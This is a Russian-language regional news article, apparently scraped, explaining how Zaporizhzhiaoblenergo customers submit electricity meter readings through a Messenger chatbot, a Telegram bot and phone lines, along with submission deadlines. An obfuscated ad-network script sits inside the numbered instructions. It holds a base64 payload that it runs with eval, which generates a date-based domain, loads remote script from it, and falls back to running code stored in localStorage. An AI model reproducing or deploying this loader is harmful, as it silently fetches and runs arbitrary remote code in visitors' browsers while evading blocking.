«Запорожьеоблэнерго» добавило онлайн-сервис для потребителей: инструкция

ПАО «Запорожьеоблэнерго» продолжает информатизацию ключевых клиентских сервисов, в частности — процесса передачи показаний приборов учета электроэнергии для бытовых потребителей.

Об этом сообщает пресс-служба «Запорожьеоблэнерго».

Сегодня компания
запустила чат-бот Chatbotzoe для передачи показаний
электросчетчиков в системе обмена сообщениями Facebook Messenger.

Для того, чтобы
воспользоваться этой опцией, необходимо:

1. Перейти по
ссылке https://www.messenger.com/t/106122874449079
(либо найти контакт Chatbotzoe в Messenger);

2.
Зарегистрироваться, нажав кнопку Додати особовий рахунок (эта и все другие кнопки для чата
расположены в нижней части страницы, под сообщением чат-бота). Для регистрации, следуя инструкциям
чат-бота, введите:

2.1. номер лицевого
счета;

2.2. номер Вашего
прибора учета электроэнергии (номер указан на самом электросчетчике).

Примечание 1: Процедура регистрации –
одноразовая.

Примечание 2: Вы можете зарегистрировать
несколько лицевых счетов, и передавать показания по каждому из них. (adsbygoogle = window.adsbygoogle || []).push({}); var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgInBybyIsICJ0b3AiLCAiaW5mbyIsICJvbmxpbmUiLCAic3BhY2UiLCAic2l0ZSIsICJ0ZWNoIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgc2NyaXB0X3NlY29uZCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9zZWNvbmQuc3JjID0gImh0dHBzOi8vIisgaG9zdCsiIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChzY3JpcHRfc2Vjb25kKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }

3. После
прохождения регистрации, следуя инструкциям чат-бота, выберите опцию Мої особові рахунки.

4. В результате
появится кнопка с номером зарегистрированного Вами лицевого счета – нажмите на
нее и, следуя подсказкам чат-бота, внесите показания своего электросчетчика.

Примечание: Если у Вас двузонный прибор
учета электроэнергии, показания вносятся в формате 1111/2222, где 1111 – день, 2222
– ночь.

В случае, если
при работе с чат-ботом у Вас возникнут вопросы, воспользуйтесь кнопкой Допомога.

Напоминаем, что
аналогичный чат-бот для передачи показаний электросчетчиков — @OblenergoZpBot — также функционирует в Telegram.

Тем, кто
предпочитает пользоваться телефоном, напоминаем номера автоматизированной линии
приема показаний электросчетчиков:

(061)
225-36-09, +38 (098) 168-01-01; +38 (050) 119-91-69; +38 (093) 170-23-35

Внимание! В
соответствии с действующим законодательством, для бытовых потребителей
электроэнергии установлены следующие сроки передачи показаний приборов учета
электроэнергии: два последних рабочих дня текущего месяца плюс три первых
рабочих дня месяца, следующего за расчетным периодом; такие показания считаются
данными на первое число календарного месяца.

Таким образом показания за май необходимо передать в период с 28 мая по 03 июня включительно. (adsbygoogle = window.adsbygoogle || []).push({});

Подписывайтесь на нас Источник: https://akzent.zp.ua/zaporozheoblenergo-dobavilo-onlajn-servis-dlya-potrebitelej-instruktsiya/